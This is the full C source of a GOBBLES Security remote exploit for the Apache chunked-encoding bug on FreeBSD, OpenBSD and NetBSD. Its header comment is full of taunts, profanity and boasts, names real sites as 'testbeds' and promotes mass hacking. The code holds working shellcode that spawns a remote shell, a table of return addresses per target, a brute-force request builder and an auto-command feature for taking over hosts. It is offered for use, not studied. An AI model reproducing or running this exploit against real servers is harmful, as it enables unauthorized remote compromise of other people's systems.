/* * apache-nosejob.c - Now with FreeBSD & NetBSD targets ;> * * !! THIS EXPLOIT IS NOW PRIVATE ON BUGTRAQ !! * * USE BRUTE FORCE ! "AUTOMATED SCRIPT KIDDY" ! USE BRUTE FORCE ! * * YEZ!$#@ YOU CAN EVEN DEFACE BUGTRAQ.ORG! * * Your high priced security consultant's plane ticket: $1500 * Your high priced security consultant's time: $200/hour * RealSecure nodes all over your company: $200,000 * Getting owned by 0day: Priceless * * * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * * If somebody could do us a big favor and contact Jennifer Garner and ask * her to make a journey to Vegas this summer for Defcon, to hang out with * the members of GOBBLES Security who are all huge fans of hers, we would * be eternally grateful. We are 100% serious about this. We would love * to have a chance to sit down and have a nice conversation with her during * the conference -- something little to make our lives feel more complete. * * Just show her this picture, and she'll understand that we're not some * crazy obsessive fanatical lunatics that she would want to avoid. ;-) * http://phrack.org/summercon2002/GOBBLES_show.jpg * We even promise to keep our clothes on! * * Thx to all those GOBBLES antagonizers. Your insults fuel our desire to * work harder to gain more fame. * * This exploit brought to you by a tagteam effort between GOBBLES Security * and ISS X-Forces. ISS supplied the silly mathematical computations and * other abstract figures declaring the exploitation of this bug to be * impossible, without factoring in the chance that there might be other * conditions present that would allow exploitation. After the failure of * ISS' Santa Claus, GOBBLES Security didn't want to disappoint the kids and * the security consultants and have brought forth a brand new shiny toy for * all to marvel at. * * GOBBLES Security Sex Force: A lot of companies like to let you know * their employees have the biggest dicks. We're firm believers in the * idea that it's not the size of the wave, but rather the motion of the * ocean -- we have no choice anyway. * * 3APAPAPA said this can't be done on FreeBSD. He probably also thinks * qmail can't be exploited remotely. Buzzz! There we go speaking through * our asses again. Anyways we're looking forward to his arguments on why * this isn't exploitable on Linux and Solaris. Lead, follow, or get the * fuck out of the way. * * Weigh the chances of us lying about the Linux version. Hmm, well so far * we've used a "same shit, different smell" approach on *BSD, so you could * be forgiven for thinking we have no Linux version. Then bring in the * reverse psychology factor of this paragraph that also says we don't have * one. But we'd say all of the above to make you believe us. This starts to * get really complicated. * * --- * God knows I'm helpless to speak * On my own behalf * God is as helpless as me * Caught in the negatives * We all just do as we please * False transmissions * I hope God forgives me * For my transgressions * * It's what you want * To know no consequences * It's what you need * To fucking bleed * It's all too much * --- * * Changes: * + can do hostname resolution * + uses getopt() * + works against freebsd and netbsd now * + ability to execute custom commands when shellcode replies -- great for * mass hacking * + rand() value bitshifted for more randomness in our progress bar tongues * + more targets ;> BUT REMEMBER BRUTE FORCE MODE!!! * + [RaFa] complained that the first version didn't let him hack through * proxies. New shellcode has been added for additional fun. It's real * funky, monkey, do you trust? Didn't think so. * * Fun to know: * + Most apache installations don't even log the attack * + GOBBLES Security is not playing games anymore. * + GOBBLES Security has more active members than w00w00. * + w00w00.org is still vulnerable to this exploit. * + w00w00 might release another AIM advisory soon about how evil the * whole DMCA thing is. *yawn* * * Fun to do: * + Spot the #openbsd operator who can figure out how to use this! * + Join #snort and laugh at their inadequacies * + Question the effectiveness of Project Honeynet, when they have yet * to discover the exploitation of a single "0day" vulnerability in the * wild. HURRY UP B0YZ 4ND H4CK Y0UR 0WN H0N3YP0TZ N0W W1TH 4LL Y0UR * 0DAY T0 PR0V3 US WR0NG!!@# Dumb twats. * * 80% of #openbsd won't be patching Apache because: * + "It's not in the default install" * + "It's only uid nobody. So what?" * + "Our memcpy() implementation is not buggy" * + "I couldn't get the exploit to work, so it must not actually be * exploitable. Stupid GOBBLES wasting my time with nonsense" * + jnathan's expert advice to his peers is that "this is not much of * a security issue" -- @stake + w00w00 + snort brain power in action! * * Testbeds: hotmail.com, 2600.com, w00w00.org, efnet.org, atstake.com, * yahoo.com, project.honeynet.org, pub.seastrom.com * * !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! * * If you're using this exploit against a vulnerable machine (that the * exploit is supposed to work on, quit mailing us asking why apache-scalp * doesn't work against Linux -- dumbasses) and it does not succeed, you * will have to play with the r|d|z values and * BRUTEFORCE * BRUTEFORCE * * * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * * * We wrote this for ethical purposes only. There is such a thing as an * "ethical hacker" right? * * This should make penetration testing _very_ easy. Go out and make some * money off this, by exploiting the ignorance of some yahoo who will be * easily ./impressed with your ability to use gcc. No, we won't provide * you with precompiled binaries. Well, at least for *nix. ;-) * * * IMPORTANT ANNOUCEMENT * IMPORTANT ANNOUNCEMENT * IMPORTANT ANNOUCEMENT * * --- GOBBLES Security is no longer accepting new members. We're now a * closed group. Of course, we'll still share our warez with the * community at large, but for the time we have enough members. * * Greets to our two newest members: * -[RaFa], Ambassador to the Underworld * -pr0ix, Director of Slander and Misinformation * * [#!GOBBLES@SECRET_SERVER QUOTES] * * --- i wont be surprised that when I return tomorrow morning the * internet will have come to a grinding halt with people crying for * medics * --- the internet will be over in a couple of months * --- nobody in #openbsd can get it to work... #netbsd people seem to be * managing fine... * --- they dont grasp the concept of the base address... i seriously * thought this was the most kiddie friendly exploit ever released * --- even bb could get it working. look at vuln-dev * --- we have to try to bump that threatcon up a notch * --- what the alldas url now? how many defacements appeared yet? * --- we should do a poem entitled "default openbsd" and mention how * it just sits there... inanimate... soon theo will be stripping the * network code so not even gobkltz.c works... as theo's paranoia * increases and he becomes out of sync with the real world, strange * things start to happen with openbsd... CHANGELOG: "now also safe * from the voices. 6 years without the screaming in the default * install" * --- i can port it to windows.. i can make a gui using mfc.. with * a picture of the skull & crossbones * --- Has anyone ever been caught by an IDS? I certainly never have. * This one runs on many machines. It ports to HP-UX. * --- strange how mr spitzner didn't know honeynet.org was owned * --- an official openbsd mirror is still vulnerable? dear god they're * out of it! * --- I think we're finally famous. * --- we're on the front page of securityfocus, and we didn't even have * to deface them! too bad the article wasn't titled, "Hi BlueBoar!" * --- we need GOBBLES group photos at defcon holding up signs that say * "The Blue Boar Must Die" * --- project.honeynet.org is _still_ vulnerable a day after the exploit * was made public? hahaha! * --- exploit scanner? www.google.com -- search for poweredby.gif + your * *bsd of choice! * --- i stopped taking my antipsychotics last night. say no 2 drugz! * --- antiNSA -- HACKING IS NOT FOR YOU!!!!!! * --- we wonder how much they'll like GeneralCuster.exe * --- wonder if ISS will use our code in their "security assesment" * audits, or if they'll figure out how to exploit this independantly. * either way they're bound to make a lot of money off us, bastards. * --- forget w00giving, this year itz thanksgiving. * --- the traffic to netcraft.com/whats will be through the roof for the * next few months! * --- every company with a hub has been sold multiple realsensor units * --- full disclosure is a necessary evil, so quit your goddamned whining. * --- people just assume they know what we mean by "testbed" * --- i can't believe that people still disbelieve in the existance of * hackers... i mean, what is all this bullshit about people being * shocked that hackers write programs to break into systems so that * they can use those programs to break into systems? are their minds * that small? * --- we're far from done. . . * */ /* * apache-scalp.c * OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!! * * ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ! * * BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING! * * ". . . and Doug Sniff said it was a hole in Epic." * * --- * Disarm you with a smile * And leave you like they left me here * To wither in denial * The bitterness of one who's left alone * --- * * Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to * the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and * their crappy memcpy implementation that makes this 32-bit impossibility * very easy to accomplish. This vulnerability was recently rediscovered by a slew * of researchers. * * The "experts" have already concurred that this bug... * - Can not be exploited on 32-bit *nix variants * - Is only exploitable on win32 platforms * - Is only exploitable on certain 64-bit systems * * However, contrary to what ISS would have you believe, we have * successfully exploited this hole on the following operating systems: * * Sun Solaris 6-8 (sparc/x86) * FreeBSD 4.3-4.5 (x86) * OpenBSD 2.6-3.1 (x86) * Linux (GNU) 2.4 (x86) * * Don't get discouraged too quickly in your own research. It took us close * to two months to be able to exploit each of the above operating systems. * There is a peculiarity to be found for each operating system that makes the * exploitation possible. * * Don't email us asking for technical help or begging for warez. We are * busy working on many other wonderful things, including other remotely * exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform * the community that those holes don't exist? We wonder who's paying her. * * This code is an early version from when we first began researching the * vulnerability. It should spawn a shell on any unpatched OpenBSD system * running the Apache webserver. * * We appreciate The Blue Boar's effort to allow us to post to his mailing * list once again. Because he finally allowed us to post, we now have this * very humble offering. * * This is a very serious vulnerability. After disclosing this exploit, we * hope to have gained immense fame and glory. * * Testbeds: synnergy.net, monkey.org, 9mm.com * * Abusing the right syscalls, any exploit against OpenBSD == root. Kernel * bugs are great. * * [#!GOBBLES QUOTES] * * --- you just know 28923034839303 admins out there running * OpenBSD/Apache are going "ugh..not exploitable..ill do it after the * weekend" * --- "Five years without a remote hole in the default install". default * package = kernel. if theo knew that talkd was exploitable, he'd cry. * --- so funny how apache.org claims it's impossible to exploit this. * --- how many times were we told, "ANTISEC IS NOT FOR YOU" ? * --- I hope Theo doesn't kill himself * --- heh, this is a middle finger to all those open source, anti-"m$" * idiots... slashdot hippies... * --- they rushed to release this exploit so they could update their ISS * scanner to have a module for this vulnerability, but it doesnt even * work... it's just looking for win32 apache versions * --- no one took us seriously when we mentioned this last year. we warned * them that moderation == no pie. * --- now try it against synnergy :> * --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM * * xxxx this thing is a major exploit. do you really wanna publish it? * oooo i'm not afraid of whitehats * xxxx the blackhats will kill you for posting that exploit * oooo blackhats are a myth * oooo so i'm not worried * oooo i've never seen one * oooo i guess it's sort of like having god in your life * oooo i don't believe there's a god * oooo but if i sat down and met him * oooo i wouldn't walk away thinking * oooo "that was one hell of a special effect" * oooo so i suppose there very well could be a blackhat somewhere * oooo but i doubt it... i've seen whitehat-blackhats with their ethics * and deep philosophy... * * [GOBBLES POSERS/WANNABES] * * --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it) * --- super@GOBBLES.NET (low-level.net) * * GOBBLES Security * GOBBLES@hushmail.com * http://www.bugtraq.org * */ #include #include #include #include #include #include #include #include #include #include #include #ifdef __linux__ #include #endif #define HOST_PARAM "apache-nosejob.c" /* The Host: field */ #define DEFAULT_CMDZ "uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';\n" #define RET_ADDR_INC 512 #define PADSIZE_1 4 #define PADSIZE_2 5 #define PADSIZE_3 7 #define REP_POPULATOR 24 #define REP_SHELLCODE 24 #define NOPCOUNT 1024 #define NOP 0x41 #define PADDING_1 'A' #define PADDING_2 'B' #define PADDING_3 'C' #define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s); #define PUT_BYTES(n, b) memset(p, b, n); p += n; char shellcode[] = "\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24" "\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31" "\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24" "\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89" "\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89" "\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80" "\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24" "\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0" "\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80" "\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a" "\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50" "\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47" "\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50" "\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc"; ; struct { char *type; /* description for newbie penetrator */ int delta; /* delta thingie! */ u_long retaddr; /* return address */ int repretaddr; /* we repeat retaddr thiz many times in the buffer */ int repzero; /* and \0'z this many times */ } targets[] = { // hehe, yes theo, that say OpenBSD here! { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)", -150, 0x80f3a00, 6, 36 }, { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)", -150, 0x80a7975, 6, 36 }, { "OpenBSD 3.0 x86 / Apache 1.3.20", -146, 0xcfa00, 6, 36 }, { "OpenBSD 3.0 x86 / Apache 1.3.22", -146, 0x8f0aa, 6, 36 }, { "OpenBSD 3.0 x86 / Apache 1.3.24", -146, 0x90600, 6, 36 }, { "OpenBSD 3.0 x86 / Apache 1.3.24 #2", -146, 0x98a00, 6, 36 }, { "OpenBSD 3.1 x86 / Apache 1.3.20", -146, 0x8f2a6, 6, 36 }, { "OpenBSD 3.1 x86 / Apache 1.3.23", -146, 0x90600, 6, 36 }, { "OpenBSD 3.1 x86 / Apache 1.3.24", -146, 0x9011a, 6, 36 }, { "OpenBSD 3.1 x86 / Apache 1.3.24 #2", -146, 0x932ae, 6, 36 }, { "OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1", -146, 0x1d7a00, 6, 36 }, { "NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)", -90, 0x80eda00, 5, 42 }, { "NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)", -90, 0x80efa00, 5, 42 }, { "NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)", -90, 0x80efa00, 5, 42 }, { "NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)", -90, 0x80efa00, 5, 42 }, { "NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)", -90, 0x80efa00, 5, 42 }, }, victim; void usage(void) { int i; printf("GOBBLES Security Labs\t\t\t\t\t- apache-nosejob.c\n\n"); printf("Usage: ./apache-nosejob <-switches> -h host[:80]\n"); printf(" -h host[:port]\tHost to penetrate\n"); printf(" -t #\t\t\tTarget id.\n"); printf(" Bruteforcing options (all required, unless -o is used!):\n"); printf(" -o char\t\tDefault values for the following OSes\n"); printf(" \t\t\t(f)reebsd, (o)penbsd, (n)etbsd\n"); printf(" -b 0x12345678\t\tBase address used for bruteforce\n"); printf(" \t\t\tTry 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.\n"); printf(" -d -nnn\t\tmemcpy() delta between s1 and addr to overwrite\n"); printf(" \t\t\tTry -146/obsd, -150/fbsd, -90/nbsd.\n"); printf(" -z #\t\t\tNumbers of time to repeat \\0 in the buffer\n"); printf(" \t\t\tTry 36 for openbsd/freebsd and 42 for netbsd\n"); printf(" -r #\t\t\tNumber of times to repeat retadd in the buffer\n"); printf(" \t\t\tTry 6 for openbsd/freebsd and 5 for netbsd\n"); printf(" Optional stuff:\n"); printf(" -w #\t\t\tMaximum number of seconds to wait for shellcode reply\n"); printf(" -c cmdz\t\tCommands to execute when our shellcode replies\n"); printf(" \t\t\taka auto0wncmdz\n"); printf("\nExamples will be published in upcoming apache-scalp-HOWTO.pdf\n"); printf("\n--- --- - Potential targets list - --- ---- ------- ------------\n"); printf(" ID / Return addr / Target specification\n"); for(i = 0; i < sizeof(targets)/sizeof(victim); i++) printf("% 3d / 0x%.8lx / %s\n", i, targets[i].retaddr, targets[i].type); exit(1); } int main(int argc, char *argv[]) { char *hostp, *portp, *cmdz = DEFAULT_CMDZ; u_char buf[512], *expbuf, *p; int i, j, lport, sock; int bruteforce, owned, progress, sc_timeout = 5; int responses, shown_length = 0; struct in_addr ia; struct sockaddr_in sin, from; struct hostent *he; if(argc < 4) usage(); bruteforce = 0; memset(&victim, 0, sizeof(victim)); while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) { switch(i) { /* required stuff */ case 'h': hostp = strtok(optarg, ":"); if((portp = strtok(NULL, ":")) == NULL) portp = "80"; break; /* predefined targets */ case 't': if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) { printf("Invalid target\n"); return -1; } memcpy(&victim, &targets[atoi(optarg)], sizeof(victim)); break; /* bruteforce! */ case 'b': bruteforce++; victim.type = "Custom target"; victim.retaddr = strtoul(optarg, NULL, 16); printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr); break; case 'd': victim.delta = atoi(optarg); printf("Using %d as delta\n", victim.delta); break; case 'r': victim.repretaddr = atoi(optarg); printf("Repeating the return address %d times\n", victim.repretaddr); break; case 'z': victim.repzero = atoi(optarg); printf("Number of zeroes will be %d\n", victim.repzero); break; case 'o': bruteforce++; switch(*optarg) { case 'f': victim.type = "FreeBSD"; victim.retaddr = 0x80a0000; victim.delta = -150; victim.repretaddr = 6; victim.repzero = 36; break; case 'o': victim.type = "OpenBSD"; victim.retaddr = 0x80000; victim.delta = -146; victim.repretaddr = 6; victim.repzero = 36; break; case 'n': victim.type = "NetBSD"; victim.retaddr = 0x080e0000; victim.delta = -90; victim.repretaddr = 5; victim.repzero = 42; break; default: printf("[-] Better luck next time!\n"); break; } break; /* optional stuff */ case 'w': sc_timeout = atoi(optarg); printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout); break; case 'c': cmdz = optarg; break; default: usage(); break; } } if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) { printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n"); return -1; } printf("[*] Resolving target host.. "); fflush(stdout); he = gethostbyname(hostp); if(he) memcpy(&ia.s_addr, he->h_addr, 4); else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) { printf("There'z no %s on this side of the Net!\n", hostp); return -1; } printf("%s\n", inet_ntoa(ia)); srand(getpid()); signal(SIGPIPE, SIG_IGN); for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) { /* skip invalid return adresses */ if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4)) continue; sock = socket(PF_INET, SOCK_STREAM, 0); sin.sin_family = PF_INET; sin.sin_addr.s_addr = ia.s_addr; sin.sin_port = htons(atoi(portp)); if(!progress) printf("[*] Connecting.. "); fflush(stdout); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } if(!progress) printf("connected!\n"); p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE) + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero + 1024) * REP_POPULATOR)); PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n"); for (i = 0; i < REP_SHELLCODE; i++) { PUT_STRING("X-"); PUT_BYTES(PADSIZE_3, PADDING_3); PUT_STRING(": "); PUT_BYTES(NOPCOUNT, NOP); memcpy(p, shellcode, sizeof(shellcode) - 1); p += sizeof(shellcode) - 1; PUT_STRING("\r\n"); } for (i = 0; i < REP_POPULATOR; i++) { PUT_STRING("X-"); PUT_BYTES(PADSIZE_1, PADDING_1); PUT_STRING(": "); for (j = 0; j < victim.repretaddr; j++) { *p++ = victim.retaddr & 0xff; *p++ = (victim.retaddr >> 8) & 0xff; *p++ = (victim.retaddr >> 16) & 0xff; *p++ = (victim.retaddr >> 24) & 0xff; } PUT_BYTES(victim.repzero, 0); PUT_STRING("\r\n"); } PUT_STRING("Transfer-Encoding: chunked\r\n"); snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2); PUT_STRING(buf); PUT_BYTES(PADSIZE_2, PADDING_2); snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta); PUT_STRING(buf); if(!shown_length) { printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf)); shown_length = 1; } write(sock, expbuf, p - expbuf); progress++; if((progress%70) == 0) progress = 1; if(progress == 1) { printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr); for(i = 0; i < 40; i ++) printf(" "); printf("\n"); if(bruteforce) putchar(';'); } else putchar(((rand()>>8)%2)? 'P': 'p'); fflush(stdout); responses = 0; while (1) { fd_set fds; int n; struct timeval tv; tv.tv_sec = sc_timeout; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) < 0) break; if(n >= 1) { if(!owned) { for(i = 0; i < n; i ++) if(buf[i] == 'G') responses ++; else responses = 0; if(responses >= 2) { owned = 1; write(sock, "O", 1); write(sock, cmdz, strlen(cmdz)); printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero); printf("Experts say this isn't exploitable, so nothing will happen now: "); fflush(stdout); } } else write(1, buf, n); } } if(FD_ISSET(0, &fds)) { if((n = read(0, buf, sizeof(buf) - 1)) < 0) exit(1); write(sock, buf, n); } } if(!owned) break; } free(expbuf); close(sock); if(owned) return 0; if(!bruteforce) { fprintf(stderr, "Ooops.. hehehe!\n"); return -1; } } return 0; }